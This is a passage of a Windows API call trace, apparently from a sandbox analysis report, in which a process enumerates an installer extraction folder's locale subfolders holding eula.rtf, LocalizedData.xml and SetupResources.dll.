	[0061.178] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.178] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.178] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.179] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.179] FindClose (in: hFindFile=0x5e0870 | out: hFindFile=0x5e0870) returned 1
	[0061.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.179] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0061.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.179] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0470
	[0061.179] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.179] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.179] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.179] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.180] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.180] FindClose (in: hFindFile=0x5e0470 | out: hFindFile=0x5e0470) returned 1
	[0061.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.180] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0061.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.180] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0770
	[0061.180] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.180] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.180] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.181] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.181] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.181] FindClose (in: hFindFile=0x5e0770 | out: hFindFile=0x5e0770) returned 1
	[0061.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.181] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0061.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.181] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0930
	[0061.181] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.182] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.182] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.182] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.182] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.182] FindClose (in: hFindFile=0x5e0930 | out: hFindFile=0x5e0930) returned 1
	[0061.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.182] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0061.182] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.182] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e03f0
	[0061.183] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.183] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.183] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.183] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.183] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.183] FindClose (in: hFindFile=0x5e03f0 | out: hFindFile=0x5e03f0) returned 1
	[0061.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.183] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0061.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.184] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0870
	[0061.184] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.184] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.184] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.184] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.184] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.184] FindClose (in: hFindFile=0x5e0870 | out: hFindFile=0x5e0870) returned 1
	[0061.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.185] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0061.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.185] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e07f0
	[0061.185] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.185] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
